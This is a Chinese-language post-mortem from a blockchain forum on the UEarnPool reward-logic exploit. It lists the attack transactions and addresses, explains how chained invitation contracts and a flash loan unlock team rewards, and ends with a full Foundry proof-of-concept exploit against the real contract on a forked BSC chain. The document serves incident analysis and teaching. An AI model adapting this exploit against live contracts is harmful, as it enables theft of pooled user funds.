{"content":{"title":"UEarnPool 业务逻辑漏洞","body":"# 1.\tUEarnPool漏洞简介\r\nhttps://twitter.com/CertiKAlert/status/1593094922160128000\r\n\r\n\r\n![1.png](https://img.learnblockchain.cn/attachments/2022/11/bXQgF31R637a0ae94a4d1.png)\r\n\r\n# 2.\t相关地址或交易\r\n攻击准备：\r\nhttps://bscscan.com/tx/0x824de0989f2ce3230866cb61d588153e5312151aebb1e905ad775864885cd418\r\n攻击交易：\r\nhttps://bscscan.com/tx/0xb83f9165952697f27b1c7f932bcece5dfa6f0d2f9f3c3be2bb325815bfd834ec\r\n攻击合约：0x14cab4bb0d3bff14cc104d53c812bb1cc882ab3d\r\n攻击账号：0x645516882d8d1b2bc69f85c58164a290c92c0365\r\n被攻击合约：0x02d841b976298dcd37ed6cc59f75d9dd39a3690c\r\n\r\n# 3.\t获利分析\r\n\r\n![2.png](https://img.learnblockchain.cn/attachments/2022/11/I6pmqiNM637a0b5f3b330.png)\r\n\r\n# 4.\t攻击思想\r\n在合约UEarnPool中有函数 claimTeamReward() 可以领取团队奖励，查看函数代码可发现关键在于使得level不等于MAX，而level是通过函数 getUserLevel() 实现的。\r\n\r\n![3.png](https://img.learnblockchain.cn/attachments/2022/11/YhvJ1gAl637a0b7daf325.png)\r\n\r\n在函数 getUserLevel() 中，可以看到 level 默认是MAX，是通过条件判断\r\nif (teamAmount >= levelConfig.teamAmount && amount >= levelConfig.amount) 确认的，并且 uint256 teamAmount = userInfo.teamAmount;  uint256 amount = userInfo.amount; ，所以需要增大teamAmount以及amount，即发展下线。\r\n在合约中存在另外一个函数bindInvitor() ，即发展下线，并且会通过 invitor = _invitor[invitor]; 记录上线以及上线的上线，后续用于分级提成。\r\n\r\n![4.png](https://img.learnblockchain.cn/attachments/2022/11/qQNWJ6Yn637a0b9478575.png)\r\n\r\n整个合约利用过程可分为两部分，\r\n1)\t利用函数bindInvitor() 不停发展下线，最大程度增加团队成员数量，以便于后续分成；\r\n2)\t先调用函数 stake() 满足提现条件（即level 不等于 MAX），再调用claimTeamReward() 获取奖励。需要注意stake() 函数需要满足 require(amount >= _minAmount, \"<min\"); 查看私有变量_minAmount 的值显示为0x56bc75e2d63100000 ，即100.000000000000000000美元（18位小数）。\r\n\r\n# 5.\t攻击过程&漏洞原因\r\n根据以上攻击思路，从交易记录分析攻击过程：\r\n一、\t先通过0x824de0989f2ce3230866cb61d588153e5312151aebb1e905ad775864885cd418 交易增加账号，用于发展下线。每次先创建新的合约，应该是使用create2方式创建的，因为还调用了新建合约的0xaa21133c 方法，用于绑定邀请人，类似于证明谁发展的下线，用于分配拉人收益。至此前期准备工作已完成。（A > B > C > D>E >F …….，后创建的合约均为前一个创建的合约的下线）\r\n\r\n![5.png](https://img.learnblockchain.cn/attachments/2022/11/d9IejWxr637a0bc937cc7.png)\r\n\r\n二、\t再通过0xb83f9165952697f27b1c7f932bcece5dfa6f0d2f9f3c3be2bb325815bfd834ec交易获取奖励。\r\n1、\t先通过闪电贷获取启动资金，再调用最后创建的合约 0x21c473f97411351b3f5f829a5bcd485b735c1bd4 ，用于通过stake() 函数投入资金。之所以选择最后创建的合约，因为后创建的合约均为前一个创建的合约的下线，这样可以保证获取的收益最大。\r\n\r\n![6.png](https://img.learnblockchain.cn/attachments/2022/11/Lrjw9ZSO637a0be45e9f6.png)\r\n\r\n最开始调用 claimTeamReward() 方法时未返回收益，因为 getUserLevel(0x21c473f97411351b3f5f829a5bcd485b735c1bd4) 返回的值为 MAX，不会进行分配收益。\r\n 另外，用户投入资金后其上线将获得拉人收益，合约通过_addInviteReward() 函数给其上线（最多5人）分配发展下线的奖励：\r\n\r\n```\r\n    function _addInviteReward(address account, uint256 amount) private {\r\n        uint256 inviteLength = _inviteLength;\r\n        UserInfo storage invitorInfo;\r\n        address invitor;\r\n        IERC20 token = IERC20(_tokenAddress);\r\n        for (uint256 i; i < inviteLength;) {\r\n            invitor = _invitor[account];\r\n            if (address(0) == invitor) {\r\n                break;\r\n            }\r\n            account = invitor;\r\n            invitorInfo = _userInfos[invitor];\r\n        unchecked{\r\n            uint256 inviteReward = amount * _inviteFee[i] / _feeDivFactor;\r\n            if (inviteReward > 0) {\r\n                invitorInfo.inviteReward += inviteReward;\r\n                token.transfer(invitor, inviteReward);\r\n            }\r\n            ++i;\r\n        }\r\n        }\r\n    }\r\n```\r\n\r\n![7.png](https://img.learnblockchain.cn/attachments/2022/11/RAo62gtN637a0c4056737.png)\r\n\r\n\r\n2、\t后续再继续调用新建合约的 0x8ecb5250 方法获取拉新奖励，可以看到在后续调用合约时可获得 162000 的奖励。可以通过函数 getLevelConfig() 查看奖励机制:\r\n\r\n```\r\n   function claimTeamReward(address account) external {\r\n        uint256 level = getUserLevel(account);\r\n        LevelConfig storage levelConfig;\r\n        uint256 pendingReward;\r\n        uint256 levelReward;\r\n        if (level != MAX) {\r\n            for (uint256 i; i <= level;) {\r\n                levelConfig = _levelConfigs[i];\r\n                if (_userInfos[account].levelClaimed[i] == 0) {\r\n                    if (i == 0) {\r\n                        levelReward = levelConfig.teamAmount * levelConfig.rewardRate / _feeDivFactor;\r\n                    } else {\r\n                        levelReward = (levelConfig.teamAmount - _levelConfigs[i - 1].teamAmount) * levelConfig.rewardRate / _feeDivFactor;\r\n                    }\r\n                    pendingReward += levelReward;\r\n                    _userInfos[account].levelClaimed[i] = levelReward;\r\n                }\r\n            unchecked{\r\n                ++i;\r\n            }\r\n            }\r\n        }\r\n        if (pendingReward > 0) {\r\n            IERC20(_tokenAddress).transfer(account, pendingReward);\r\n        }\r\n    }\r\n```\r\n\r\n![8.png](https://img.learnblockchain.cn/attachments/2022/11/tOmeVwan637a0c51646bf.png)\r\n\r\n\r\n![9.png](https://img.learnblockchain.cn/attachments/2022/11/8tGKbNR0637a0c5e5851a.png)\r\n\r\nrewrad: 162_000 = 1_200_000 * 0.1 + 600_000 * 0.05 + 300_000 * 0.03 + 300_000 * 0.01\r\n\r\n# 6.\t漏洞复现\r\n漏洞复现代码可参考：https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/UEarnPool_exp.sol\r\n\r\n\r\n```\r\n// SPDX-License-Identifier: UNLICENSED\r\npragma solidity ^0.8.10;\r\n\r\nimport \"forge-std/Test.sol\";\r\nimport \"./interface.sol\";\r\n\r\n// @Analysis\r\n// https://twitter.com/CertiKAlert/status/1593094922160128000\r\n// @Tx\r\n// https://bscscan.com/tx/0xb83f9165952697f27b1c7f932bcece5dfa6f0d2f9f3c3be2bb325815bfd834ec\r\n// https://bscscan.com/tx/0x824de0989f2ce3230866cb61d588153e5312151aebb1e905ad775864885cd418\r\n// @Summary\r\n// The key is to obtain invitation rewards, create 22 contracts, bind each other, first stake a large amount of usdt, make teamamont reach the standard of _levelConfigs[3], stake in turn, and finally claim rewards\r\n// Reward Calculation: claimTeamReward() levelConfig \r\n//                  if (_userInfos[account].levelClaimed[i] == 0) {\r\n//                     if (i == 0) {\r\n//                         levelReward = levelConfig.teamAmount * levelConfig.rewardRate / _feeDivFactor;\r\n//                     } else {\r\n//                         levelReward = (levelConfig.teamAmount - _levelConfigs[i - 1].teamAmount) * levelConfig.rewardRate / _feeDivFactor;\r\n//                     }\r\n//                     pendingReward += levelReward;\r\n// _levelConfigs[0] = LevelConfig(100, 300000 * amountUnit, 3000 * amountUnit);         rewardRate; teamAmount; amount;\r\n// _levelConfigs[1] = LevelConfig(300, 600000 * amountUnit, 7000 * amountUnit);\r\n// _levelConfigs[2] = LevelConfig(500, 1200000 * amountUnit, 10000 * amountUnit);\r\n// _levelConfigs[3] = LevelConfig(1000, 2400000 * amountUnit, 20000 * amountUnit);\r\n// _feeDivFactor = 10000\r\n// rewrad: 162_000 = 1_200_000 * 0.1 + 600_000 * 0.05 + 300_000 * 0.03 + 300_000 * 0.01\r\n\r\ninterface UEarnPool{\r\n    function bindInvitor(address invitor) external;\r\n    function stake(uint256 pid, uint256 amount) external;\r\n    function claimTeamReward(address account) external;\r\n}\r\n\r\ncontract claimReward{\r\n    UEarnPool Pool = UEarnPool(0x02D841B976298DCd37ed6cC59f75D9Dd39A3690c);\r\n    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\r\n\r\n    function bind(address invitor) external{\r\n        Pool.bindInvitor(invitor);\r\n    }\r\n    function stakeAndClaimReward(uint256 amount) external{\r\n        USDT.approve(address(address(Pool)), type(uint).max);\r\n        Pool.stake(0, amount);\r\n        Pool.claimTeamReward(address(this));\r\n    }\r\n    function withdraw(address receiver) external{\r\n        USDT.transfer(receiver, USDT.balanceOf(address(this)));\r\n    }\r\n}\r\n\r\ncontract ContractTest is DSTest{\r\n    UEarnPool Pool = UEarnPool(0x02D841B976298DCd37ed6cC59f75D9Dd39A3690c);\r\n    Uni_Pair_V2 Pair = Uni_Pair_V2(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);\r\n    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\r\n    address[] contractList;\r\n    \r\n    CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\r\n    function setUp() public {\r\n        cheat.createSelectFork(\"bsc\", 23120167);\r\n    }\r\n\r\n    function testExploit() public{\r\n        contractFactory();\r\n        // bind invitor\r\n        (bool success, ) = contractList[0].call(abi.encodeWithSignature(\"bind(address)\", tx.origin));\r\n        require(success);\r\n        for(uint i = 1; i < 22; i++){\r\n            (bool success, ) = contractList[i].call(abi.encodeWithSignature(\"bind(address)\", contractList[i - 1]));\r\n            require(success);\r\n        }\r\n\r\n        Pair.swap(2_420_000 * 1e18, 0, address(this), new bytes(1));\r\n\r\n        emit log_named_decimal_uint(\r\n            \"[End] Attacker USDT balance after exploit\",\r\n            USDT.balanceOf(address(this)),\r\n            18\r\n        );\r\n\r\n    }\r\n\r\n    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\r\n        uint len = contractList.length;\r\n        // LevelConfig[3].teamAmount : 2_400_000\r\n        USDT.transfer(contractList[len - 1], 2_400_000 * 1e18);\r\n        (bool success1, ) = contractList[len - 1].call(abi.encodeWithSignature(\"stakeAndClaimReward(uint256)\", 2_400_000 * 1e18));\r\n        require(success1);\r\n        for(uint i = len - 2; i > 4; i--){\r\n            USDT.transfer(contractList[i], 20_000 * 1e18); // LevelConfig[3].Amount : 20_000\r\n            USDT.balanceOf(address(this));\r\n            // 162000 - 20000 + 1500, 1500 is the reduce amount of _addInviteReward(), claim remaining USDT when USDT amount in contract less than 162_000,\r\n            if(USDT.balanceOf(address(Pool)) < 143_500 * 1e18){\r\n                USDT.transfer(address(Pool), 143_500 * 1e18 - USDT.balanceOf(address(Pool)));\r\n            }\r\n            (bool success1, ) = contractList[i].call(abi.encodeWithSignature(\"stakeAndClaimReward(uint256)\", 20_000 * 1e18)); // LevelConfig[3].Amount : 20_000\r\n            require(success1);\r\n            (bool success2, ) = contractList[i].call(abi.encodeWithSignature(\"withdraw(address)\", address(this)));\r\n            require(success2);\r\n        }\r\n        contractList[0].call(abi.encodeWithSignature(\"withdraw(address)\", address(this))); // claim the reward from _addInviteReward() \r\n        contractList[1].call(abi.encodeWithSignature(\"withdraw(address)\", address(this)));\r\n        contractList[2].call(abi.encodeWithSignature(\"withdraw(address)\", address(this)));\r\n        contractList[3].call(abi.encodeWithSignature(\"withdraw(address)\", address(this)));\r\n        contractList[4].call(abi.encodeWithSignature(\"withdraw(address)\", address(this)));\r\n        uint borrowAmount = 2_420_000 * 1e18;\r\n        USDT.transfer(address(Pair), borrowAmount * 10000 / 9975 + 1000);\r\n    }\r\n\r\n    function contractFactory() public{\r\n        address _add;\r\n        bytes memory bytecode = type(claimReward).creationCode;\r\n        for(uint _salt = 0; _salt < 22; _salt++){\r\n            assembly{\r\n                _add := create2(0, add(bytecode, 32), mload(bytecode), _salt)\r\n            }\r\n            contractList.push(_add);\r\n        }\r\n    }\r\n}\r\n```"},"author":{"user":"https://learnblockchain.cn/people/10579","address":null},"history":null,"timestamp":1668943126,"version":1}